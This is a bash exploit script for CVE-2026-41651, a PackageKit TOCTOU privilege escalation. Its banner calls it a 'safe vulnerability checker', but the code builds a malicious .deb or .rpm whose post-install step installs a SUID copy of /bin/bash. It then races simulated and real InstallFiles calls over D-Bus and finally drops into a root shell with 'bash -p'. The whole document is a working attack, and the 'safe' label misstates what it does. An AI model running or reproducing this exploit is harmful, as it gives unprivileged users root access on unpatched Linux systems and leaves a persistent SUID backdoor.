#!/bin/bash
# CVE-2026-41651 — Pack2TheRoot (PackageKit TOCTOU LPE)
# Bash port of the original Python PoC
# Works on systems with dbus-send, dpkg-deb or rpmbuild

set -e

SUID_FILENAME=".suid_bash"
PK_BUS="org.freedesktop.PackageKit"
PK_OBJ="/org/freedesktop/PackageKit"
PK_IFACE="org.freedesktop.PackageKit"
TX_IFACE="org.freedesktop.PackageKit.Transaction"
FLAG_SIMULATE=4
FLAG_NONE=0
POLL_SECS=90

echo "============================================================
Safe CVE-2026-41651 (Pack2TheRoot) Vulnerability Checker
Purpose: Detect if PackageKit is vulnerable to the TOCTOU LPE
Author: Ashraf Zaryouh / @0xBlackash
Usage: chmod +x CVE-2026-41651.sh && ./CVE-2026-41651.sh
============================================================"

if [ "$(id -u)" -eq 0 ]; then
    echo "[-] Must be run as unprivileged user"
    exit 1
fi

# Find writable dir without nosuid/noexec
find_suid_dir() {
    local candidates=("/var/tmp" "/dev/shm" "/tmp" "$HOME")
    for d in "${candidates[@]}"; do
        if [ -d "$d" ] && [ -w "$d" ]; then
            # Check mount flags
            if ! mount | grep -E "on $d " | grep -qE 'nosuid|noexec'; then
                echo "$d"
                return 0
            fi
        fi
    done
    echo "[-] No suitable directory found for SUID + exec"
    exit 1
}

SUID_DIR=$(find_suid_dir)
SUID_PATH="$SUID_DIR/$SUID_FILENAME"
echo "[+] SUID drop directory: $SUID_DIR"

# Detect package manager
if command -v dpkg-deb >/dev/null; then
    PKG_MGR="deb"
elif command -v rpmbuild >/dev/null; then
    PKG_MGR="rpm"
else
    echo "[-] Need dpkg-deb or rpmbuild"
    exit 1
fi
echo "[+] Package format: ${PKG_MGR^^}"

# Build packages
PID=$$
PAYLOAD_SCRIPT='install -m 4755 /bin/bash '"$SUID_PATH"

build_deb() {
    local out="$1"
    local name="$2"
    local postinst="$3"
    local build="/tmp/pkbuild_${name}"
    mkdir -p "$build/DEBIAN"
    chmod 755 "$build" "$build/DEBIAN"

    cat > "$build/DEBIAN/control" <<EOF
Package: $name
Version: 1.0
Architecture: all
Maintainer: test
Description: CVE-2026-41651 test
EOF
    chmod 644 "$build/DEBIAN/control"

    if [ -n "$postinst" ]; then
        cat > "$build/DEBIAN/postinst" <<EOF
#!/bin/sh
$postinst
EOF
        chmod 755 "$build/DEBIAN/postinst"
    fi

    dpkg-deb -b "$build" "$out" >/dev/null 2>&1
    rm -rf "$build"
}

build_rpm() {
    local out_dir="$1"
    local name="$2"
    local post="$3"
    local topdir="/tmp/rpmbuild_${name}"
    mkdir -p "$topdir"/{BUILD,RPMS,SOURCES,SPECS,SRPMS}
    chmod 755 "$topdir" "$topdir"/*

    cat > "$topdir/SPECS/${name}.spec" <<EOF
%global _topdir $topdir
Name: $name
Version: 1.0
Release: 1
Summary: test
BuildArch: noarch
%description
test

%post
$post

%files
EOF

    rpmbuild --define "_topdir $topdir" -bb "$topdir/SPECS/${name}.spec" >/dev/null 2>&1
    cp "$topdir/RPMS"/*/*.rpm "$out_dir/${name}.rpm" 2>/dev/null || true
    rm -rf "$topdir"
}

echo "[*] Building test packages..."
if [ "$PKG_MGR" = "deb" ]; then
    DUMMY="/tmp/pk-dummy-$PID.deb"
    PAYLOAD="/tmp/pk-payload-$PID.deb"
    build_deb "$DUMMY" "pk-dummy-$PID"
    build_deb "$PAYLOAD" "pk-payload-$PID" "$PAYLOAD_SCRIPT"
else
    DUMMY="/tmp/pk-dummy-$PID.rpm"
    PAYLOAD="/tmp/pk-payload-$PID.rpm"
    build_rpm "/tmp" "pk-dummy-$PID"
    build_rpm "/tmp" "pk-payload-$PID" "$PAYLOAD_SCRIPT"
    mv "/tmp/pk-dummy-$PID.rpm" "$DUMMY" 2>/dev/null || true
    mv "/tmp/pk-payload-$PID.rpm" "$PAYLOAD" 2>/dev/null || true
fi

echo "[+] Dummy: $DUMMY"
echo "[+] Payload: $PAYLOAD"
echo "[+] SUID target: $SUID_PATH"

# Create transaction via dbus-send
echo "[*] Creating PackageKit transaction..."
TID=$(dbus-send --system --dest="$PK_BUS" --print-reply "$PK_OBJ" "$PK_IFACE.CreateTransaction" | grep -o '/[^"]*')
echo "[+] Transaction ID: $TID"

# Fire the race
echo "[*] Firing TOCTOU race (SIMULATE → REAL)..."
dbus-send --system --dest="$PK_BUS" --type=method_call "$TID" "$TX_IFACE.InstallFiles" uint32:$FLAG_SIMULATE array:string:"$DUMMY" >/dev/null 2>&1 &
sleep 0.05
dbus-send --system --dest="$PK_BUS" --type=method_call "$TID" "$TX_IFACE.InstallFiles" uint32:$FLAG_NONE array:string:"$PAYLOAD" >/dev/null 2>&1 &

echo "[*] Polling for SUID root bash ($POLL_SECS sec max)..."
for ((i=0; i<POLL_SECS; i++)); do
    if [ -f "$SUID_PATH" ] && [ -u "$SUID_PATH" ]; then
        MODE=$(stat -c %a "$SUID_PATH" 2>/dev/null || stat -f %Lp "$SUID_PATH")
        echo -e "\n[+] SUID confirmed: $SUID_PATH (mode=$MODE)"
        break
    fi
    printf "."
    sleep 1
done

# Cleanup packages
rm -f "$DUMMY" "$PAYLOAD" 2>/dev/null

if [ ! -u "$SUID_PATH" ]; then
    echo -e "\n[-] Exploit failed (race missed or system patched)"
    echo "    Update PackageKit to >= 1.3.5"
    exit 1
fi

echo -e "\n[+] Dropping to root shell (bash -p)"
echo "[+] --- ROOT SHELL FOLLOWS ---"
exec "$SUID_PATH" -p
